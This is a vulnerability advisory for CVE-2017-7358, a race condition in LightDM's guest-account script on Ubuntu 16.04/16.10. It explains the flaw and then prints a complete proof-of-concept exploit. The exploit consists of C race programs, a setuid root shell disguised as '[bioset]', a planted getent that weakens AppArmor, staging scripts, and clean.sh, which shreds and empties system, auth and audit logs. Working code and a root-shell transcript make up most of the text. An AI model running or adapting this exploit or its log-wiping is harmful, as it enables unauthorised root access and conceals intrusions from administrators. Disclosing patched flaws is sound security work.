Vulnerability Summary
The following advisory describes a local privilege escalation via LightDM found in Ubuntu versions 16.10 / 16.04 LTS.
Ubuntu is an open source software platform that runs everywhere from IoT devices, the smartphone, the tablet and the PC to the server and the cloud. LightDM is an X display manager that aims to be lightweight, fast, extensible and multi-desktop. It uses various front-ends to draw login interfaces, also called Greeters.
Credit
An independent security researcher, G. Geshev (@munmap), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor Responses
The vendor has released a patch to address this issue.
For more information: https://www.ubuntu.com/usn/usn-3255-1/
CVE Details
CVE-2017-7358
Vulnerability Details
The vulnerability is found in LightDM, which is the Ubuntu’s default desktop manager, more specifically in the guest login feature. By default LightDM allows you to log into a session as a temporary user. This is implemented in a script called ‘guest-account‘.
@ubuntu:~$ ls -l /usr/sbin/guest-account -rwxr-xr-x 1 root root 6516 Sep 29 18:56 /usr/sbin/guest-account @ubuntu:~$ dpkg -S /usr/sbin/guest-account lightdm: /usr/sbin/guest-account @ubuntu:~$ dpkg -s lightdm Package: lightdm Status: install ok installed Priority: optional Section: x11 Installed-Size: 672 Maintainer: Robert Ancell <robert.ancell@ubuntu.com> Architecture: amd64 Version: 1.19.5-0ubuntu1 Provides: x-display-manager Depends: debconf (>= 0.5) | debconf-2.0, libc6 (>= 2.14), libgcrypt20 (>= 1.7.0), libglib2.0-0 (>= 2.39.4), libpam0g (>= 0.99.7.1), libxcb1, libxdmcp6, adduser, bash (>= 4.3), dbus, libglib2.0-bin, libpam-runtime (>= 0.76-14), libpam-modules, plymouth (>= 0.8.8-0ubuntu18) Pre-Depends: dpkg (>= 1.15.7.2) Recommends: xserver-xorg, unity-greeter | lightdm-greeter | lightdm-kde-greeter Suggests: bindfs Conflicts: liblightdm-gobject-0-0, liblightdm-qt-0-0 Conffiles: /etc/apparmor.d/abstractions/lightdm a715707411c3cb670a68a4ad738077bf /etc/apparmor.d/abstractions/lightdm_chromium-browser e1195e34922a67fa219b8b95eaf9c305 /etc/apparmor.d/lightdm-guest-session 3c7812f49f27e733ad9b5d413c4d14cb /etc/dbus-1/system.d/org.freedesktop.DisplayManager.conf b76b6b45d7f7ff533c51d7fc02be32f4 /etc/init.d/lightdm be2b1b20bec52a04c1a877477864e188 /etc/init/lightdm.conf 07304e5b3265b4fb82a2c94beb9b577e /etc/lightdm/users.conf 1de1a7e321b98e5d472aa818893a2a3e /etc/logrotate.d/lightdm b6068c54606c0499db9a39a05df76ce9 /etc/pam.d/lightdm 1abe2be7a999b42517c82511d9e9ba22 /etc/pam.d/lightdm-autologin 28dd060554d1103ff847866658431ecf /etc/pam.d/lightdm-greeter 65ed119ce8f4079f6388b09ad9d8b2f9 Description: Display Manager LightDM is a X display manager that: * Has a lightweight codebase * Is standards compliant (PAM, ConsoleKit, etc) * Has a well defined interface between the server and user interface * Cross-desktop (greeters can be written in any toolkit) Homepage: https://launchpad.net/lightdm @ubuntu:~$
The script runs as root when you view the login screen, also known as a greeter, to log in as a guest. Ubuntu’s default greeter is Unity Greeter.
Vulnerable code
The vulnerable function is ‘add_account‘.
35 temp_home=$(mktemp -td guest-XXXXXX)
36 GUEST_HOME=$(echo ${temp_home} | tr '[:upper:]' '[:lower:]')
37 GUEST_USER=${GUEST_HOME#/tmp/}
38 [ ${GUEST_HOME} != ${temp_home} ] && mv ${temp_home} ${GUEST_HOME}
The guest folder gets created using ‘mktemp’ on line 35. The attacker can use ‘inotify‘ to monitor ‘/tmp‘ for the creation of this folder.
The folder name will likely contain both upper and lower case letters. Once this folder is created, we grab the folder name and quickly and create the equivalent folder with all letters lower case.
If we manage to race the ‘mv‘ command on line 38, we end up with the newly created home for the guest user inside the folder we own.
Once we have the guest home under our control, we rename it and replace it with a symbolic link to a folder we want to take over. The code below will then add the new user to the OS. The user’s home folder will already point to the folder we want to take over, for example ‘/usr/local/sbin‘.
68 useradd --system --home-dir ${GUEST_HOME} --comment $(gettext "Guest") --user-group --shell /bin/bash ${GUEST_USER} || {
69 rm -rf ${GUEST_HOME}
70 exit 1
71 }
The attacker can grab the newly created user’s ID and monitor ‘/usr/local/sbin‘ for ownership changes. The ownership will be changed by the following ‘mount‘.
78 mount -t tmpfs -o mode=700,uid=${GUEST_USER} none ${GUEST_HOME} || {
79 rm -rf ${GUEST_HOME}
80 exit 1
81 }
We will remove the symbolic link and create a folder with the same name – to let the guest user to log in. While the guest is logging in, his path for finding executable files will include ‘bin‘ under his home folder.
That’s why we create a new symbolic link to point his ‘bin‘ into a folder we control. This way we can force the user to execute our own code under his user ID. We use this to log out the guest user from his session which is where we can gain root access.
The logout code will first execute the following code:
156 PWENT=$(getent passwd ${GUEST_USER}) || {
157 echo "Error: invalid user ${GUEST_USER}"
158 exit 1
159 }
This code will be executed as the owner of the script, i.e. root. Since we have already taken over ‘/usr/local/sbin‘ and have planted our own ‘getent‘, we get to execute commands as root at this point.
Note – We can trigger the guest session creation script by entering the following two commands.
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest
Proof of Concept
The Proof of Concept is contains 9 files and they will take advantage of the race conditions mentioned above.
- kodek/bin/cat
- kodek/shell.c
- kodek/clean.sh
- kodek/run.sh
- kodek/stage1.sh
- kodek/stage1local.sh
- kodek/stage2.sh
- kodek/boclocal.c
- kodek/boc.c
By running the following scripts an attacker can run root commands:
@ubuntu:/var/tmp/kodek$ ./stage1local.sh @ubuntu:/var/tmp/kodek$ [!] GAME OVER !!! [!] count1: 2337 count2: 7278 [!] w8 1 minute and run /bin/subash @ubuntu:/var/tmp/kodek$ /bin/subash root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root) root@ubuntu:~#
If the exploit fails, you can simply run it again.
Once you get your root shell, you can optionally clean any exploit files and logs by executing the below.
root@ubuntu:/var/tmp/kodek# ./clean.sh /usr/bin/shred: /var/log/audit/audit.log: failed to open for writing: No such file or directory Do you want to remove exploit (y/n)? y /usr/bin/shred: /var/tmp/kodek/bin: failed to open for writing: Is a directory root@ubuntu:/var/tmp/kodek#
boc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <pwd.h>
#define EVENT_SIZE(sizeof(struct inotify_event))
#define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))
int main(void) {
struct stat info;
struct passwd * pw;
struct inotify_event * event;
pw = getpwnam("root");
if (pw == NULL) exit(0);
char newpath[20] = "old.";
int length = 0, i, fd, wd, count1 = 0, count2 = 0;
int a, b;
char buffer[EVENT_BUF_LEN];
fd = inotify_init();
if (fd < 0) exit(0);
wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
if (wd < 0) exit(0);
chdir("/tmp/");
while (1) {
length = read(fd, buffer, EVENT_BUF_LEN);
if (length > 0) {
event = (struct inotify_event * ) buffer;
if (event - > len) {
if (strstr(event - > name, "guest-") != NULL) {
for (i = 0; event - > name[i] != '\0'; i++) {
event - > name[i] = tolower(event - > name[i]);
}
if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS);
if (event - > mask & IN_MOVED_FROM) {
rename(event - > name, strncat(newpath, event - > name, 15));
symlink("/usr/local/sbin/", event - > name);
while (1) {
count1 = count1 + 1;
pw = getpwnam(event - > name);
if (pw != NULL) break;
}
while (1) {
count2 = count2 + 1;
stat("/usr/local/sbin/", & info);
if (info.st_uid == pw - > pw_uid) {
a = unlink(event - > name);
b = mkdir(event - > name, ACCESSPERMS);
if (a == 0 && b == 0) {
printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n", count1, count2);
} else {
printf("\n[!] a: %i b: %i\n[!] exploit failed !!!\n", a, b);
}
system("/bin/rm -rf /tmp/old.*");
inotify_rm_watch(fd, wd);
close(fd);
exit(0);
}
}
}
}
}
}
}
}
boclocal.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <pwd.h>
#define EVENT_SIZE(sizeof(struct inotify_event))
#define EVENT_BUF_LEN(1024 * (EVENT_SIZE + 16))
int main(void) {
struct stat info;
struct passwd * pw;
struct inotify_event * event;
pw = getpwnam("root");
if (pw == NULL) exit(0);
char newpath[20] = "old.";
int length = 0, i, fd, wd, count1 = 0, count2 = 0;
int a, b, c;
char buffer[EVENT_BUF_LEN];
fd = inotify_init();
if (fd < 0) exit(0);
wd = inotify_add_watch(fd, "/tmp/", IN_CREATE | IN_MOVED_FROM);
if (wd < 0) exit(0);
chdir("/tmp/");
while (1) {
length = read(fd, buffer, EVENT_BUF_LEN);
if (length > 0) {
event = (struct inotify_event * ) buffer;
if (event - > len) {
if (strstr(event - > name, "guest-") != NULL) {
for (i = 0; event - > name[i] != '\0'; i++) {
event - > name[i] = tolower(event - > name[i]);
}
if (event - > mask & IN_CREATE) mkdir(event - > name, ACCESSPERMS);
if (event - > mask & IN_MOVED_FROM) {
rename(event - > name, strncat(newpath, event - > name, 15));
symlink("/usr/local/sbin/", event - > name);
while (1) {
count1 = count1 + 1;
pw = getpwnam(event - > name);
if (pw != NULL) break;
}
while (1) {
count2 = count2 + 1;
stat("/usr/local/sbin/", & info);
if (info.st_uid == pw - > pw_uid) {
a = unlink(event - > name);
b = mkdir(event - > name, ACCESSPERMS);
c = symlink("/var/tmp/kodek/bin/", strncat(event - > name, "/bin", 5));
if (a == 0 && b == 0 && c == 0) {
printf("\n[!] GAME OVER !!!\n[!] count1: %i count2: %i\n[!] w8 1 minute and run /bin/subash\n", count1, count2);
} else {
printf("\n[!] a: %i b: %i c: %i\n[!] exploit failed !!!\n[!] w8 1 minute and run it again\n", a, b, c);
}
system("/bin/rm -rf /tmp/old.*");
inotify_rm_watch(fd, wd);
close(fd);
exit(0);
}
}
}
}
}
}
}
}
clean.sh
#!/bin/bash if [ "$(/usr/bin/id -u)" != "0" ]; then echo "This script must be run as root" 1>&2 exit 1 fi /bin/rm -rf /tmp/guest-* /tmp/old.guest-* /usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc /var/log/kern.log /var/log/audit/audit.log /var/log/lightdm/* /bin/echo > /var/log/auth.log /bin/echo > /var/log/syslog /bin/dmesg -c >/dev/null 2>&1 /bin/echo "Do you want to remove exploit (y/n)?" read answer if [ "$answer" == "y" ]; then /usr/bin/shred -fu /var/tmp/kodek/* /var/tmp/kodek/bin/* /bin/rm -rf /var/tmp/kodek else exit fi
run.sh
#!/bin/sh
/bin/cat << EOF > /usr/local/sbin/getent
#!/bin/bash
/bin/cp /var/tmp/shell /bin/subash >/dev/null 2>&1
/bin/chmod 4111 /bin/subash >/dev/null 2>&1
COUNTER=0
while [ \$COUNTER -lt 10 ]; do
/bin/umount -lf /usr/local/sbin/ >/dev/null 2>&1
let COUNTER=COUNTER+1
done
/bin/sed -i 's/\/usr\/lib\/lightdm\/lightdm-guest-session {/\/usr\/lib\/lightdm\/lightdm-guest-session flags=(complain) {/g' /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1
/sbin/apparmor_parser -r /etc/apparmor.d/lightdm-guest-session >/dev/null 2>&1
/usr/bin/getent passwd "\$2"
EOF
/bin/chmod 755 /usr/local/sbin/getent >/dev/null 2>&1
shell.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <grp.h>
int main(void)
{
setresuid(0, 0, 0);
setresgid(0, 0, 0);
setgroups(0, NULL);
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "[bioset]", "-pi", NULL);
return 0;
}
stage1.sh
#!/bin/bash
if [ "${PWD}" == "/var/tmp/kodek" ]; then
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
/usr/bin/killall -9 boc >/dev/null 2>&1
/bin/sleep 3s
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1
/usr/bin/gcc boc.c -Wall -s -o /var/tmp/boc
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
/bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh
/var/tmp/boc
else
echo "[!] run me from /var/tmp/kodek"
exit
fi
stage1local.sh
#!/bin/bash
if [ "${PWD}" == "/var/tmp/kodek" ]; then
/usr/bin/killall -9 /var/tmp/boc >/dev/null 2>&1
/usr/bin/killall -9 boc >/dev/null 2>&1
/bin/sleep 3s
/usr/bin/shred -fu /var/tmp/run.sh /var/tmp/shell /var/tmp/boc >/dev/null 2>&1
/usr/bin/gcc boclocal.c -Wall -s -o /var/tmp/boc
/usr/bin/gcc shell.c -Wall -s -o /var/tmp/shell
/bin/cp /var/tmp/kodek/run.sh /var/tmp/run.sh
/var/tmp/boc &
/bin/sleep 5s
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool lock
XDG_SEAT_PATH="/org/freedesktop/DisplayManager/Seat0" /usr/bin/dm-tool switch-to-guest
else
echo "[!] run me from /var/tmp/kodek"
exit
fi
stage2.sh
#!/bin/sh /usr/bin/systemd-run --user /var/tmp/run.sh
/bin/cat
#!/bin/sh
/usr/bin/systemd-run --user /var/tmp/run.sh
/bin/sleep 15s
/bin/loginctl terminate-session `/bin/loginctl session-status | /usr/bin/head -1 | /usr/bin/awk '{ print $1 }'`
